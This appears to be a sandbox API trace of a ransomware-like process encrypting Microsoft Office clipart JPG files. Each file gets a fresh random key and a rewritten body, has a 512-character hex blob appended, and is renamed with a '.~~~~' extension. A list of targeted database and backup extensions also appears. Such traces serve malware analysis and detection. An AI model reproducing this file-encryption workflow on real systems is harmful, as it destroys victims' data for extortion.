	[0107.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0107.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0107.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0107.918] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.919] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.919] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.920] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22790990090) returned 1
	[0107.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9fde9b0, dwHighDateTime=0x1d60e1e)) 
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28c1a98
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28c1a98 | out: hHeap=0x300000) returned 1
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3310
	[0107.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866df8
	[0107.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.921] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.921] GetLastError () returned 0x0
	[0107.921] GetLastError () returned 0x0
	[0107.921] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.921] GetLastError () returned 0x0
	[0107.922] GetLastError () returned 0x0
	[0107.924] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff8ba9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.924] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x7457, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x7457, lpOverlapped=0x0) returned 1
	[0107.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.926] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.926] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.926] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.926] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.926] CloseHandle (hObject=0x144) returned 1
	[0107.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3310
	[0107.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.~~~~")) returned 1
	[0107.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.928] GetLastError () returned 0x0
	[0107.928] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.930] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.930] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.931] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22792084651) returned 1
	[0107.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa004b10, dwHighDateTime=0x1d60e1e)) 
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28076f0
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28076f0 | out: hHeap=0x300000) returned 1
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3310
	[0107.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827678
	[0107.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.932] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.932] GetLastError () returned 0x0
	[0107.932] GetLastError () returned 0x0
	[0107.932] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.932] GetLastError () returned 0x0
	[0107.932] GetLastError () returned 0x0
	[0107.936] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff561e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.936] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0xa9e2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0xa9e2, lpOverlapped=0x0) returned 1
	[0107.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.937] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.937] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.937] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.937] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.938] CloseHandle (hObject=0x144) returned 1
	[0107.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3310
	[0107.938] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.~~~~")) returned 1
	[0107.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.939] GetLastError () returned 0x0
	[0107.940] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.941] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.941] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.941] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22793110911) returned 1
	[0107.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa004b10, dwHighDateTime=0x1d60e1e)) 
	[0107.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807728
	[0107.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807728 | out: hHeap=0x300000) returned 1
	[0107.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3310
	[0107.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827710
	[0107.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.942] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.942] GetLastError () returned 0x0
	[0107.942] GetLastError () returned 0x0
	[0107.942] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.942] GetLastError () returned 0x0
	[0107.943] GetLastError () returned 0x0
	[0107.945] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc11d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.945] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x3ee3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x3ee3, lpOverlapped=0x0) returned 1
	[0107.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.946] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.946] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.947] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.947] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.947] CloseHandle (hObject=0x144) returned 1
	[0107.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3310
	[0107.947] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.~~~~")) returned 1
	[0107.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.948] GetLastError () returned 0x0
	[0107.949] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.950] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.950] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.950] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22794010708) returned 1
	[0107.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa02ac70, dwHighDateTime=0x1d60e1e)) 
	[0107.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807760
	[0107.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807760 | out: hHeap=0x300000) returned 1
	[0107.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3310
	[0107.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28277a8
	[0107.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3310 | out: hHeap=0x300000) returned 1
	[0107.951] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.951] GetLastError () returned 0x0
	[0107.951] GetLastError () returned 0x0
	[0107.951] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.951] GetLastError () returned 0x0
	[0107.951] GetLastError () returned 0x0
	[0108.044] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe076, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.044] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x1f8a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x1f8a, lpOverlapped=0x0) returned 1
	[0108.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.045] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.045] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.045] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.045] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.046] CloseHandle (hObject=0x144) returned 1
	[0108.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0108.065] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.~~~~")) returned 1
	[0108.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.084] GetLastError () returned 0x0
	[0108.084] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.085] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.085] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.085] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22807556830) returned 1
	[0108.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa1818d0, dwHighDateTime=0x1d60e1e)) 
	[0108.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28079c8
	[0108.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28079c8 | out: hHeap=0x300000) returned 1
	[0108.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0108.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827840
	[0108.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.086] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.086] GetLastError () returned 0x0
	[0108.086] GetLastError () returned 0x0
	[0108.087] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.087] GetLastError () returned 0x0
	[0108.087] GetLastError () returned 0x0
	[0108.091] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb13a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.091] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4ec6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4ec6, lpOverlapped=0x0) returned 1
	[0108.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.092] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.092] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.093] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.093] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.093] CloseHandle (hObject=0x144) returned 1
	[0108.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
